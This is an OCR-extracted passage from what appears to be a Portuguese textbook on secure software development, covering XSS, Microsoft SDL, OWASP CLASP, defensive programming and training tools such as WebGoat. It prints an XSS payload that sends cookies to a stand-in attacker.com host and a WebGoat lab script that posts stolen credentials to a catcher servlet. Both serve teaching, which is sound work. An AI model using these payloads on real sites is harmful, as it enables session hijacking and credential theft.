apresentacao do dado hostil aos usuarios legitimos. Isso é perigoso em sistemas como blogs
ou féruns, onde uma grande quantidade de usuarios acessara entradas de outros usuarios.

Ataques XSS baseados em DOM (Document Object Model) ocorrem a pagina atacada que usa em
seu cédigo parametros passados na URL para gerar dinamicamente o seu contetido (Junior 2009).

Alternativamente, os ataques XSS podem ser uma mistura ou uma combinagao dos trés
tipos. Comportamentos ndo padrao do navegador pode introduzir vetores de ataque. O XSS é
potencialmente habilitado a partir de quaisquer componentes de script que o browser utilize.

Os ataques sao frequentemente implementados em javascript, que é uma ferramenta po-
derosa de codificacdo. O uso do javascript habilita o atacante a manipular qualquer aspecto da
pagina a ser renderizada, incluindo a adi¢do de novos elementos (como um espaco para login
que encaminha credenciais para um site hostil), a manipulacdo de qualquer aspecto interno
do DOM e a remocao ou modificacdo de forma de apresentacdo da pdgina. O javascript permi-
te o uso do XmlHttpRequest, que é tipicamente usado por sites que usam a tecnologia AJAX,
um vetor comum para ataques XSS.

Impacto

Ataques XSS podem roubar sessao do usuario, desconfigurar sites web, inserir conteddos
hostis, redirecionar usuario entre outros.

Como Prevenir

A Prevencdo do XSS requer que a guarda de dados ndo confidveis (obtidos dos usuarios)
seja estritamente separada do conteldo ativo a ser enviado para o navegador.

1. Retirar todos os dados nao confidveis baseado no contexto do HTML.

2. Validacao de entrada ou “whitelist’, mas ndo é uma solucdo definitiva, as vezes é ne-
cessario que a aplicagdo aceite dados especiais como entrada.

3. Utilizar recursos do proprio navegador que tenha politica de seguranca e defenda o
navegador contra ataques de XSS.

Exemplo de ataque XSS

Um servidor web usa entrada de dados nao confiaveis na construcdo de suas paginas HTML.

(string) pagina += “<input name=’cartaocredito’ type=’TEXT®

value="" + request.getParameter(“cCc”) + “’>7;

Perceba que o parametro CC é usado sem validacao. O atacante introduz como valor para
o parametro CC o seguinte:

‘><script>document.location= ‘http://www.attacker.com/
cgi-bin/cookie.cgi? foo=’+document.cookie</script>’
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Isso gera uma pagina HTML que agora contém um script com o c6digo abaixo

document.location= ‘http://www.attacker.com/cgi-bin/cookie.
cgi?foo="+document.cookie

Quando o usudrio receber a pagina gerada conforme o c6digo acima, a execucdo do scrip
causara o envio de todos os dados do cookie do usudrio legitimo para o sitio ww.attacker.com.
No cookie pode estar incluido o identificador Unico da sessdo do usuario junto ao sitio web. Isso
pode permitir ao atacante roubar a sessdo do usuario junto ao servidor web, pois se o atacante
enviar para o servidor web um cookie contendo o id de sessdo roubado, o servidor web podera
reconhecer enganosamente o hacker como sendo um usuario legitimo.

Vérios exemplos de ataques em sitios conhecidos, Google, Amazon, Yahoo podem ser en-
contrado no sitio Xssed (http://www.xssed.com/).

4.3 Outros riscos de ataques

Além dos dois tipos comuns de ataques descritos anteriormente, existem dezenas de ou-
tras vulnerabilidades bastante comuns em software e um nimero ainda maior de formas de
atacar tais vulnerabilidades. Vulnerabilidades de software possuem elevada capilaridade e apa-
recem potencialmente em todas as partes do cédigo onde ha entrada e (ou) saida de dados.

Dado que as vulnerabilidades de seguranca sé recentemente comegaram a ser exploradas,
atualmente existe uma pequena quantidade de programadores que foi disciplinado acerca de
aspectos de seguranca no desenvolvimento de software. Introduzir atividades no processo de
desenvolvimento de software que permitem reduzir um nimero de vulnerabilidades de software
a um nivel aceitdvel implica em uma mudanca cultural profunda para quem analisa, codifica,
testa e implanta aplicativos, e uma das solugdes correntes consiste na introdugao de segurancga
no desenvolvimento de software, conforme explorado a seguir, com foco em aplicagdes Web.
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5. Seguranc¢a no Desenvolvimento de
Aplicacoes e Software Seguro

As aplicacdes expostas a Internet/Web aumentam enormemente a possibilidades de ata-
ques e exploracdo de suas vulnerabilidades. O conceito de software seguro passa a ganhar
forca a partir da necessidade de reduzir tais vulnerabilidades.

5.1 Software Seguro

Um software seguro é um software livre de vulnerabilidades, que funciona da maneira pre-
tendida e que essa maneira pretendida ndo compromete a seguranca de outras propriedades
requeridas do software, seu ambiente e as informagdes manipuladas por ele (DSH, 2006).

Sdo propriedades de um software seguro (Braz, 2008; DHS, 2006):

- Disponibilidade: o software deve estar sempre operacional e acessivel para os usua-
rios autorizados sempre que necessario.

- Integridade: o software deve estar sempre protegido contra modificacdes nao autorizadas.

. Confidencialidade: no contexto da seguranca do software, confidencialidade se aplica
para o préprio software e para os dados que ele manipula.

Duas propriedades adicionais associada aos usuarios humanos podem ser requeridas para as
entidades de software que agem como usuario, como agentes proxies e web services (DHS 2006):

”

- Responsabilizacdo: toda agédo relevante de seguranca de um “software-como-usuario
(traducéo livre de software-as-user) deve ser registrada e acompanhada, com atribui-
¢do de responsabilidade. Nesse acompanhamento deve ser possivel durante e depois
dos registros das acdes ocorrem.

«  Nao-repudio: a habilidade de prevenir o software-como-usudario de negar responsabi-
lidade sobre acdes desempenhadas.

Vejamos a seguir quais as abordagens atuais para garantir que tais pripriedades estejam
presentes em um software, caracterizando-o como seguro.

5.2 Desenvolvimento de Software Seguro

Como apresentado anteriormente o desenvolvimento de um software deve seguir um
processo que envolve diferentes fases, desde a concepcao até a instalacdo e evolucdo. O que
acontece algumas vezes é que devido ao foco inicial do desenvolvimento de software ser fun-
damentalmente no atendimento aos requisitos de funcionamento que satisfazem as neces-
sidades evidentes e contratuais dos clientes e usuarios, os critérios de seguranca para tornar
um software seguro muitas vezes so6 sdo realizados tardiamente, durante os testes e validacdo
final do software. Isso porque nem os clientes nem os desenvolvedores estao preparados para
tratar antecipadamente da questao. Satisfazer necessidades de seguranca em uma fase tardia
do desenvolvimento produz elevado impacto negativo sobre o projeto, resultando muitas ve-
zes na producéo e implantacao de software inseguro, que contém um significativo nimero de
vulnerabilidades capazes de serem exploradas por hackers.

Com a frequencia crescente de ataques desferidos contra as aplicacdes, tornam-se co-
muns os problemas de seguranca em sistemas de informacdo na internet web, como indispo-
nibilidade, perda de integridade, perda de confidencialidade etc. Em funcdo dessa realidade
é muito importante que os requisitos de seguranca sejam declarados desde o inicio de con-
cepcao do software. O custo de desenvolvimento de um software seguro diminui quando os
critérios de seguranca estdo claramente descritos desde o inicio (ISO/IEC 17799, 2005).
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Segundo a ISO/IEC 17799:2005, todos os requisitos de seguranca devem ser identificados
na fase de levantamento de requisitos do projeto. Deve-se garantir que os requisitos de segu-
ranca sejam identificados e acordados antes da implementacao do projeto.

Controles introduzidos no estdgio de projeto sdo significativamente
mais baratos para implementar e manter do que aqueles incluidos du-
rante ou apds a implementacéo. ISO/IEC 17799:2005.

Uma proposta de inclusao de seguranca no processo de desenvolvimento de software
usado Banco Central do Brasil é descrita em Bastos (2010). Nessa proposta, baseada no mode-
lo do Processo Unificado, o acompanhamento dos requisitos de seguranca do sistema é feito
desde a fase de concepcao do software.

A seguir sdo apresentados dois dos modelos de processos de desenvolvimento de softwa-
re seguro mais conhecidos, o SDL da Microsoft e o CLASP, especificado pela OWASP.

5.2.1-SDL

O SDL'® (Security Development Lifecycle) é um processo de desenvolvimento de software
com seguranca adotado pela Microsoft e descrito por Howard e Lipner (2006), Lipner e Ho-
ward (2005) e Microsoft (2010). O SDL envolve a adicao de uma série de atividades e produtos
concentrados na producdo de software seguro, desenvolvidas em cada fase do processo de
desenvolvimento de software. Essas atividades e esses produtos incluem aspectos como: (i) o
desenvolvimento de modelos de ameacas durante o design do software, (ii) o uso de ferramen-
tas de verificacdo de codigo de analise estatica durante a implementacdo e (iii) a realizacao de
revisdes de codigo e testes de seguranca, entre outros.

O SDL propde a modificacao dos processos de uma organizacdo de desenvolvimento de
software através da integracao de medidas que levam ao software seguro, adicionando pontos
de verificacdo e produtos de seguranca bem definidos.

O processo de desenvolvimento de software seguro, globalmente aceito na Microsoft, se-
gue, em termos gerais, o fluxo mostrado na Figura 11, que é composto pelas fases de treina-
mento, requisitos, design, implementacéo, verificacdo, lancamento e resposta.

Training Design Implementation Verification

= Core training = Define quality = Attack surface = Specify tools = Dynamic/Fuzz = Response plan

gates/bug bar analysis = Enforce banned testing = Final security
= Analyze security = Threat Modeling functions = Verify threat review

and privacy risk - Static analysis madels/attack = Release archive
surface

Figura 11. O processo de desenvolvimento de software seguro SDL da Microsoft. Fonte: (MICROSOFT, 2010).

Cada uma dessas fases é melhor descrita a sequir.

15 Veja informagodes detalhadas sobre o DSL em http://www.microsoft.com/security/sdl/default.aspx
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5.2.1.1 Treinamento de Seguranca

O treinamento de seguranca envolve aplicacdo de treinamento bdsico e avancado aos
membros da equipe de desenvolvimento de software, abordando aspectos como principios,
tendéncias em seguranca e privacidade.

De acordo com Microsoft (2010), sdo conceitos basicos relativos ao desenvolvimento de
aplicagbes com seguranca e que devem ser abordados em treinamento:

« O desenho seguro, envolvendo a reducao da superficie de ataque’®, a defesa em pro-
fundidade', o principio do privilégio minimo'® e os defaults seguros'.

« A modelagem de ameacas (SWIDERSKI e SNYDER, 2004), que consiste na realizacao
de estudos visando: analisar como um adversario ou atacante em potencial vé uma
aplicacdo; quais ativos de interesse estao presentes na aplicacdo e que também po-
deriam interessar ao atacante; quais os pontos de entrada da aplicacdo que podem
ser atacados; que caminhos de ataque poderiam ser usados pelo atacante; que vulne-
rabilidades poderiam ser exploradas pelo atacante; como solucionar ou mitigar tais
vulnerabilidades, e por fim; como fazer testes de seguranca baseados no perfil de
ameacas levantado no modelo de ameacas.

- Acodificacdo segura, que envolve desenvolver capacidade construir cédigo capaz de
resistir a ataques como: estouro de buffers (ver http://en.wikipedia.org/wiki/Buffer_
overflow), erros de aritmética de inteiros, cross site scripting, SQL Injection, deficiéncias
na criptografia e particularidades especificas da plataforma computacional utilizada
para desenvolvimento das aplicagdes.

. Teste de seguranca, que envolve equilibrar testes funcionais com os testes de segu-
ranca, realizar testes baseados nos riscos e ameacas as quais a aplicacdo esta sujeita,
aplicar metodologias de teste de software e automatizar os testes.

«  Questodes de privacidade de informagdes pessoais.

16 Conforme a Wikipédia (http://en.wikipedia.org/wiki/Attack_surface) “a superficie de ataque de
um sistema de software é o cddigo, dentro de um sistema computacional, que pode ser execu-
tado por usudrios ndo autenticados. Isso inclui, mas ndo estd limitado a campos de entrada de
dados de usuarios, aos protocolos, as interfaces e aos servigos disponiveis no sistema.”

17 A defesa em profundidade é uma estratégia de origem militar, adaptada pela NSA dos EUA (ver
http://www.nsa.gov/ia/_files/support/defenseindepth.pdf) ao ambiente de tecnologia da infor-
macao, e que visa obter seguranca em ambientes altamente integrados com redes de compu-
tadores por meio da criacdo de multiplas camadas de protecdo. Segundo a Wikipédia (http://
en.wikipedia.org/wiki/Defense_in_depth_(computing)), séo exemplos de camadas de protecdo
para obtencdo da defesa em profundidade: a seguranca fisica, a autenticacao e uso de senhas, o
hashing de senhas, antivirus, firewall, zonas de redes de computadores desmilitarizadas (DMZ),
sistemas de deteccao de intrusao, filtragem de pacotes, VPNs, logs e auditoria, biometria, con-
trole de acesso temporizado e seguranca por obscuridade.

18 O principio do privilégio minimo (ver http://en.wikipedia.org/wiki/Principle_of_least_privilege
e http://hissa.ncsl.nist.gov/rbac/paper/node5.html) requer que qualquer processo computa-
cional ou entidade ativa que esteja atuando em um espaco tenha acesso apenas aos recursos
necessarios e suficientes para a realizacdo de sua tarefa e ndo mais do que isso. O principio do
privilégio minimo é usualmente implementado através de controle de acessos.

19 O conceito Seguro por Padrdo (secure by default) (ver http://en.wikipedia.org/wiki/Secure_by
default) recomenda que os projetistas devam sempre considerar a possibilidade de haver falhas
de seguranca no cédigo que desenvolvem e, para minimizar os danos caso os invasores aces-
sem essas falhas, o estado default das diversas condi¢cdes de funcionamento do software deve
sempre seraquele no qual ha o estado de maior seguranca. Ha discussdées, no entanto, acerca de
que aspectos da seguran¢a devam ser os mais priorizados: confidencialidade, disponibilidade
ou integridade.
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5.2.1.2 Requisitos

Nessa fase os requisitos de seguranca e privacidade da aplicacdo sao analisados em maior
detalhe e é produzida uma andlise de custos visando determinar se 0s recursos necessarios
para melhorar a seguranca e privacidade da aplicacdo estao compativeis com os objetivos de
negoécio do projeto de software. Um dos pontos centrais nessa fase é o estabelecimento de
um sistema para rastreamento dos bugs de seguranca que devem ser classificados quanto aos
efeitos que provocam sobre uma aplicacao, as causas ou origens do efeito.

5.2.1.3 Design

Nessa fase se realiza analise da superficie de ataque da aplicacdo e se produz um modelo
de ameacas da aplicacéo.

5.2.1.4 Implementacgao (Codificacao Segura)

A implementacao consiste na producao de codigo executavel, usando-se uma ou mais lin-
guagens de programacao, sejam elas interpretadas ou compiladas. E preciso empregar técnicas
de programacao defensiva para desenvolver cédigo que resista ao ataque de usuarios hackers.

A forma mais comum de garantir que serad produzido cédigo seguro é por meio de ade-
réncia ao uso de padrdes de codificacdo que reduzem a ocorréncia de vulnerabilidades de
codigo, chamados padrdes de codificacao segura, e da verificacdo de que os programadores a
estao adotando. Tais padrdes tendem a evitar a injecdo de cédigo e outros ataques.

Também se recomenda, para verificacdo, o uso de ferramentas de analise estatica de codi-
go?, que identificam formas de codificacdo propensas a introducédo de vulnerabilidades.

De outra forma, a melhor estratégia é confiar na capacidade dos técnicos e reforcar a
disciplina boa técnica de programacao defensiva e codificacdo segura, que emprega técnicas
anteriormente pouco usadas na pratica. A Secao 4.3 aborda em mais detalhes os principios da
codificacdo segura e da programacao defensiva.

5.2.1.5 Verificacao

Envolve a realizacdo de testes, inspe¢des de codigo e anadlise de documentacao do softwa-
re, por meio de ferramentas automatizadas, como de anadlise estética de cédigo, ou de técnicas
manuais como inspec¢des de cddigo e auditoria de configuracdo, dentre outras.

5.2.1.6 Release (liberacao de versoes)

Durante a fase de release é produzido um plano de acao descrevendo como podera se dar
a resposta da equipe de tratamento de incidentes de seguranca da informacao, a eventualida-
de de descoberta de uma vulnerabilidade de seguranca da aplicagdo ou mesmo na ocorréncia
de um incidente de seguranca.

20 Ha controvérsias acerca da eficacia no uso de ferramentas de analise estatica de codigo, como
discutidas em . E preciso também ter em mente que a quantidade de vulnerabilidades poten-
ciais encontradas por uma ferramenta de andlise estatica de cédigo supera a capacidade da
equipe de desenvolvimento em responder a todos os problemas encontrados. Sem que haja um
processo de software bem estabelecido e planejado praticamente nada podera ser feito.
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5.2.1.7 Resposta

Envolve o tratamento de incidentes relacionados a aplicacdo. No texto sobre Tratamento
de Incidentes esse tema sera abordado com profundidade.

5.2.2 - CLASP

Inicialmente desenvolvido pela empresa Secure Software, hoje sob a responsabilidade da
OWASP, o CLASP (Comprehensive, Lightweight Application Security Process) é um conjunto de com-
ponentes de processo dirigido por atividade e baseado em regras, que articula praticas para cons-
trucdo de software seguro, permitindo o ciclo de vida de desenvolvimento do software SDLC (Sof-
tware Delevopment LifeCicle) de maneira estruturada, com repeticdo e mensuracdo (OWASP 2006).

O CLASP é um conjunto de pedacos de processos que pode ser integrado a qualquer
processo de desenvolvimento de software. Foi projetado para ser de facil utilizagdo. Tem um
enfoque prescritivo, documentando as atividades que as organizacdes devem realizar, propor-
cionando uma ampla riqueza de recursos de seguranca que facilitam a implementacao dessas
atividades (OWASP 2011).

A estrutura do CLASP e as dependéncias entre os componentes do processo CLASP sao
organizados como se segue e descritos adiante:

«  Visodes CLASP;
«  Recursos CLASP;

. Caso de Uso de Vulnerabilidade.

5.2.2.1 Visoes CLASP

Um processo de desenvolvimento de software seguro CLASP pode ser analisado através
de perspectivas de alto nivel, chamadas Visdes CLASP: Visdo de Conceitos; Visdo baseada em
Regras; Visdo de Avaliacdo de Atividades; Visdo de Implementacdo de Atividades e Visao de
Vulnerabilidade. A Figura 12 apresenta essas atividades e como elas se relacionam.

AVisdo Conceitual (I) apresenta uma visao geral de como funciona o processo CLASP e como
seus componentes interagem. Sdo introduzidas as melhores praticas, a interacdo entre o CLASP e
as politicas de seguranca, alguns conceitos de seguranca e os componentes do processo.

A Visao baseada em Regras (Il) introduz as responsabilidades basicas de cada membro
do projeto (gerente, arquiteto, especificador de requisitos, projetista, implementador, analista
de testes e auditor de seguranca) relacionando-os com as atividades propostas, assim como a
especificacdo de quais sao os requerimentos bdsicos para que cada funcao.

AVisao de Avaliacdo de Atividades (Ill) descreve o propésito de cada atividade, bem como
o custo de implementacao, a aplicabilidade, o impacto relativo, os riscos em caso de néo apli-
car a atividade.

AVisdo de Implementacao (IV) descreve o conteudo das 24 atividades de seguranca definidas
pelo CLASP e identifica os responsaveis pelaimplementacédo, bem como as atividades relacionadas.

A Visao de Vulnerabilidades (V) possui um catdlogo que descreve 104 tipos de vulnera-
bilidades no desenvolvimento de software, divididas em cinco categorias: Erros de Tipo e Li-
mites de Tamanho; Problemas do Ambiente; Erros de Sincronizacdo e Temporizacao; Erros de
Protocolo e Erros Légicos em Geral. Nessa atividade também é realizada técnicas de mitigacao
e avaliacao de risco. Assim como periodo de A & M (Avoidance e Mitigation) por fase do SDLC.
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Visdo Conceitual (1)

Visdo Baseada em Regra (ll)
- Visdo de Avaliagdo de Atividade (111)
Custo de Aplicabilidade Risco de -
- Implementacio. da Atividade inatividade
._h-r L] - - L] Ll
Visdo de Implementacao de Atividade (IV) -
Visdo de Vulnerabilidade (V)
Conseqiiéncias Tipos de Problemas Periodos de
[P - 10 Hipas de probkemas Eupuﬁ]g.ﬁu
[— submethdos § aita categorizs |por fases 0L
Avaliacdo de Técnica de Periodos A & M
Riscos Mitigacdo [por fases SDLC)

Figura 12:Visdes CLASP. Fonte: Adaptado de OWASP (2006).

5.2.2.2 Recursos CLASP

O processo CLASP suporta planejamento, implementacdo e desempenho para atividades
de desenvolvimento de software relacionado com seguranca. Os recursos do CLASP fornecem
acesso para os artefatos que sdo especialmente Uteis se seu projeto esta usando ferramentas
para o processo CLASP.

Os recursos CLASP sdo compostos por uma lista de onze artefatos. A Tabela 1 apresenta
a lista de artefatos e com quais Visdes esses recursos podem ser aplicados no Processo CLASP.
Esses recursos estao documentados na especificacao CLASP em OWASP, 2006.
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Artefatos e Visoes

Principios Basicos em Seguranca de aplicacdes (todas as Visdes)

Exemplo de Principios Basicos: Validacao de Entrada (todas as Visoes)

Exemplo de principios Basicos Violacdo: Modelo penetracao-e-patch (todas as Visoes)

Servicos Essenciais de Seguranca (todas as Visoes; especialmente Ill)

Planilhas em Guia com Codificacao de Exemplo (Visdes Il, Il e IV)

Planilhas de Avaliacdo de Sistema (Visoes Ill e IV)

Mapa de Caminhos Exemplo: Projetos Legados (Visao llI)

Mapa de Caminho Exemplo: Comeco de Novo Projeto (Visao Ill)

Criacdo do Plano de Engenharia de Processo (Visao Ill)

Formacao da Equipe de Engenharia de Processo (Visao Ill)

Glossério de Equipe de Seguranca (todas as Visdes)

Tabela 1. Lista de Artefatos no CLASP

5.2.2.3 Caso de uso de Vulnerabilidades

Os Casos de Uso de Vulnerabilidade descrevem condi¢des nas quais os servicos de segu-
ranca podem se tornar vulnerdveis em aplicagdes de software. Os Casos de Uso fornecem aos
usudrios CLASP exemplos especificos, com facil entendimento, e relacionamento de causa e
efeito sobre a codificacdo do programa e seu design, além de possiveis resultados de explo-
racdo de vulnerabilidades em servicos de seguranca bdsicos como autorizacdo, autenticacao,
confidencialidade, disponibilidade, responsabilizacdo e ndo-repudio.

Cada Use Case é composto pelo diagrama de arquitetura de componentes onde ha des-
cricao de cada componente, assim como outro diagrama contendo o fluxo do processo rela-
cionado com a seguranca do software. A Figura 13 apresenta um ambiente computacional,
composto de servidor de aplicagao, banco de dados e quando utilizando cliente HTTP com o
servidor web, para o qual é desenvolvido o caso de uso na Figura 14. Essa figura apresenta os
passos relevantes para compreensao do Use Case, descritos a seguir:

1. Inicialmente o cliente solicita autenticacao para a filial. Office Branch;
2. O cliente é autenticado por certificacao digital via HTTPs;

3. O cliente solicita uma aplicacao especifica utilizando HTTPS;

4. O cliente é autorizado a executar o aplicativo;
5

A pagina web solicita a execu¢ao de um objeto COM que estd localizado em um ser-
vidor de aplicacdo local;

6. Acesso ao objeto COM é autorizado;

7. O objeto COM garante apenas os dados relevantes acessiveis/atualizados para o
cliente autorizado;

8. A aplicacdo responde com os dados acessiveis e atualizados pela aplicacao;

9. 0O objeto COM solicita acesso e atualizagdo para os dados localizados no SGBD local
para desenvolver funcées de negocio especificas;

10. Acesso aos dados é autorizado fornecido as tabelas dos SGBDs locais sao permitidos
para acesso web.
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Figura 13: Arquitetura de Componente. Fonte: (OWASP, 2006).
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Distributed Architecture: Customer via HTTP[S]
User Application Data Security System
| =
E}:] Customar raguests authanticatipn to access branch offica.
2 Fesult: Customer is authenticated by digital cerlificate via
[— HTTP[S] (SSL protocal).
-
£) Customer reguests a specific application through HTTP[S],
[:1 using his browser_
i_ Resylt: Customer is authorized to execute the application, ywhich
comprises the ASP.MNET web page in the web server
-
l:? The E‘.NET web page requests enacution of a COM objgct
E: loc in the local application garver.
[ Resilt: Access to the COM objact is authorized.
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Figura 14: Diagrama de Use Case do CLASP. Fonte: (OWASP, 2006).

5.3 Codificacao Segura e Programacao Defensiva

Um programador profissional ndo é um curioso ou um praticante que aprendeu a progra-
mar por conta prépria e desenvolveu sua habilidade em poucos meses. Sdo precisos muitos
anos de pratica combinadas com estudo, para que sejam desenvolvidas e aplicadas técnicas
basicas e avancadas de programacdo em média e larga escala, capazes de produzir software
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sélido?!, robusto e funcional. A maioria das técnicas gerais de boa programacao (escrita de
codigo) é descrita em livros como o de McConnel?? e o de Hunt e Thomas?. De outra forma,
abordagens matematicas a construcao de software também sdo essenciais ao bom programa-
dor, como descrita no livro de Abelson e Sussman?* e livros de estruturas de dados®.

Além da necesséria formacdo em fundamentos de programacao e engenharia de softwa-
re, a velocidade com que evoluem os sistemas de computacéo e as interfaces com o usudrio
demanda a continua producdo de novas plataformas computacionais, linguagens e biblio-
tecas de programacao. Essas inovagdes tecnoldgicas sdo introduzidas a grande velocidade e
junto com elas é introduzidas a maior parte das vulnerabilidades. Usar tais tecnologias deman-
da que o programador mantenha-se constantemente atualizado nas técnicas especificas da
plataforma® e da linguagem de programacao?” na qual desenvolve seu software. Esse é o seu
nicho de trabalho e para tal é preciso ter acesso constante a documentacdo sobre a plataforma
e linguagens de uso, como disponiveis nos sitios da Microsoft, da Oracle e da IBM.

Nao obstante, demande-se do programador boa formacao conceitual, postura de enge-
nheiro de software, além de conhecimento constantemente atualizado da plataforma e lin-
guagem de programacao que usa, isso nao é suficiente para a producao de codigo seguro
na atualidade. O crime organizado cada vez mais reconhece o potencial de lucratividade no
ataque a sistemas informatizados e esta constantemente explorando suas vulnerabilidades,
seja em empresas publicas e privadas. Tal situacdo exige a adogao de uma série de técnicas
ainda pouco conhecidas e pouco empregadas, inclusive em universidades de todo o mundo,
agregadas sob as denominagdes de codificacao segura ou programacao defensiva. A principal
técnica da programacao defensiva, da mesma forma que na direcao defensiva, consiste em
sempre desconfiar dos outros agentes com os quais se interage. No caso da programacao o co-
digo que o programador seguro desenvolve jamais deve assumir que um determinado usuario
vai enviar para o programa os dados no formato esperado, nem assumir que uma rotina que
foi chamada pelo seu codigo vai produzir os resultados exatamente da forma como esperado.
Faz-se necessario que o cédigo verifique a consisténcia e completude de praticamente todos
os dados manipulados. Tal abordagem cria uma estrutura de programacao compartimentali-
zada, produzindo o mesmo efeito de uma defesa em profundidade.

Em suma, um programador de aplicagdes que serdao usadas em ambiente de alta exposi-
¢ao necessita ter boa formacao conceitual, manter-se atualizado na plataforma e linguagem
de programacdo empregadas e adotar praticas de codificacdo segura e programacao defen-
siva. Por fim, também necessita atuar em uma organizacdo que empregue um processo de
desenvolvimento de software seguro, para que 0s recursos necessarios ao emprego dessas
técnicas sejam alocados ao projeto desde suas primeiras etapas.

Ha hoje na Internet uma variada lista de sitios que ofertam muitas informacées sobre co-
dificacdo segura, dentre as quais se destacam o CERT, a OWASP e a Microsoft.

21 Veja uma apresentacao do livro Solid Software, de Pfleeger, Hatton e Howell, em http://www.
pearsonhighered.com/educator/product/Solid-Software/9780130912985.page.

22 Veja uma apresentacao do livro Code Complete, de David de McConnel em http://cc2e.com/

23 Veja uma apresentacdo do livro The Pragmatic Programmer, de Hunt e Thomas, em http://
en.wikipedia.org/wiki/The_Pragmatic_Programmer

24 Disponivel online em http://mitpress.mit.edu/sicp/full-text/book/book.html.
25 Veja uma breve conceituacdo em http://pt.wikipedia.org/wiki/Estrutura_de_dados.

26 Sao exemplos de plataformas computacionais usadas na atualidade para desenvolver aplica-
tivos, seja no sistema operacional Linux, Windows e MacOS: Java JEE, Microsoft .NET e Oracle.
Muitas sdo as plataformas de programacdo em computadores méveis, como Symbiam, Java-
FX, Android, Windows Mdbile. Também se faz necessario compreender que existem diversos
modelos de navegadores web, como Firefox, Internet Explorer, Chrome, Opera, e para cada um
apresentam-se diferentes formas de desenvolver software.

27 Além do inevitdvel conhecimento da linguagem SQL para programacéo dos bancos de dados,
sdo exemplos de linguagens de programacao usadas na atualidade, para o desenvolvimento
de aplicagdes na web: Java+JSP+JSF, JavaScript+Ajax, PhP, C#, VB.NET, Python, Ruby, Perl etc.
Sédo linguagens de formatacdo comumente necessdrias ao desenvolvimento de aplicagdes web:
HTML, CSS (folhas de estilo), além de varios dialetos da XML.
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5.3.1 Codificacdao segura no CERT

O CERT Secure Coding Initiative®® é uma iniciativa a universidade de Carnegie Mellon finan-

ciada pelo governo dos EUA, que define, dentre outros aspectos:
. padrdes de codificacdo segura para as linguagens C, C++ e Java;

«  padrdes internacionais para codificacdo segura;
« laboratoério para avaliacdo de conformidade em codificacdo segura;
- ferramentas de software que realizam analise estatica de cédigo; e

«  processo de desenvolvimento de software seguro TSP-C.

5.3.2 Codificacao segura no OWASP

O OWASP oferece, além do arcabouco de processo CLASP ja apresentado, uma série de
informacoes e ferramentas em temas como:

«  Principios de codificacao segura;

- Bibliotecas de programacao segura, envolvendo aspectos como validacao de HTML e
CSS em vdrias linguagens de programacao;

«  Guia de revisao de cédigo para identificar vulnerabilidades de estouro de buffers, injecdo
de cdédigo (SQL, XPATH e LDAP), validacdo de dados, cross-site scripting, cross-site request
forgery, logging issues, integridade de sessoes e condi¢des de corrida (race conditions);

«  Melhores praticas de codificacdo segura e guias em linguagens e plataformas .NET,
Ruby on Rails, Java, ASP, PHP, C, C++, MySQL, Flash, Ajax e Web Services;

+  Exemplos de como relatar vulnerabilidades encontradas;
«  Guia de teste de software para seguranca;

«  Ferramenta WebGoat*, que é uma aplicagcdao Web gratuita e de cédigo aberto, escrita
em Java e deliberadamente construida com varias vulnerabilidades. A interface de
WebGoat é mostrada na Figura 15, e a ferramenta pode ser baixada e instalada na
Intranet de uma organizacao e usada para ensino e aprendizagem de técnicas de ata-
que e defesa, por meio da exploracao e reparo de vulnerabilidades como:

-  Cross-site Scripting (XSS);

- Vulnerabilidades no controle de acesso;

- Vulnerabilidades na seguranca de threads;

- Manipulacdo de campos de formulério escondidos;
- Manipulagdo de parametros HTTP;

- Manipulagédo de cookies de sessao fracos;

- SQLinjection;

- Autenticacao com falhas; e

-  Comentarios HTML.

28 Ver o sitio do CERT em http://www.cert.org/secure-coding/.

29 Ver pagina http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project
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h XS5 - Microsoft Internet Explol

: Hle Edit View Favorites Tools Help
Agdr855|@ http://localhost/WebGoat/attack?Screen=21&menu=410 o ‘ Go
~
OWASP WebGoat W3.1
Admer FURCHOUS Restart this Lesson
General
Code Quality You need to create the hack() function. This function will pull the credentials from the
Concurrency webpage and post them to the WebGoat catcher servlet.
Univalidated Parameters
Access Control Flaws Some useful code snippets:
Authentication Flaws
Sessmn_Manag_enjent(FIaw:s B doucument.forms[0].user.value - will access the user field
Cross-Site Scripting (XSS) ® XssImage = new Image(); XssImage.src=SOME_URL = will perform a post
Phishing with XS5 B javascript string concatentation uses a "+"
LAB: Cross Site Scripting
Stape 1: Stored XS5
Stage 2: Block Stored XS5 Solution for this hint():
using Input Yalidation
Stace 3+ Stored XS5 Revisited password<script>function hack(){ alert("Had this been a real attack... Your credentials
Stage 3 Stored X35 Revisiied were just stolen. User Name = " + document.forms(0).user.value + " Password = " +
Stape 4: Block Stored X55 document.forms(0).pass.value); XSSImage=new Image;
using Output Encoding XSsImage.src="http:/ /localhost. /WebGoat/catcher?
Stage 5: Reflected X55 PROPERTY =yesBuser="+document.forms(0).user.value + "&password=" + document.forms
TR e (0).pass.value + "";}</script>
Stage 6: Block Reflected X55
Stored XS5 Attacks This lesson is an example of how a website might support a phishing attack
Reflacted XS5 Attacks Below is an example of a standard search feature.
Cross Site Request Forgery Using XSS and HTML insertion, your goal is to:
CSRF)
® Insert html to that requests credentials
HTTPOnly Test : : 5
m Add javascript to actually collect the credentials
Cross Site Tracing (XST m Post the credentials to http://localhost./WebGoat/catcher?PROPERTY =yes...
Attacks
Buffer Overflows To pass this lesson, the credentials must be posted to the catcher serviet.
Injection Flaws
Improper Error Handling
Insecure Storage WebGoat Search B
&) % Local intranet

Figura 15: Pagina do WebGoat contendo orientagdes sobre como hackear a prépria aplicacéo.

«  Ferramenta WebScarab®, cuja interface é apresentada na Figura 16, e que consiste
basicamente em um Proxy, que se coloca como intermedidrio entre um servidor web
e um navegador web. Ao se interpor entre ambos, captura e manipula pedidos e res-
postas no protocolo http, permitindo a andlise do comportamento de aplicacbes web
e a preparagao de ataques a uma aplicacgéo.

30 Ver mais detalhes sobre o WebScarab em http://www.owasp.org/index.php/Category:OWASP_
WebScarab_Project
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Figura 16: Interface do proxy WebScarab, mostrando detalhes de pedidos e respostas HTTP, além da estru-
tura do sitio analisado.

Uma boa parte dos materiais desenvolvidos pela OWASP é feito para apoiar a execucao
de treinamentos.

5.3.3 Codificacao segura na Microsoft

No ambito do SDL a Microsoft oferece varias ferramentas gratuitas para apoio a codifica-
¢do segura em sua plataforma, bem como outras que suportam fases anteriores e posteriores
do ciclo de desenvolvimento. Algumas dessas ferramentas sao:

+  Threat Modeling Tool*', ferramenta usada no desenho de arquiteturas seguras, inde-
pendente de plataforma, e com interface amena ao uso por leigos;
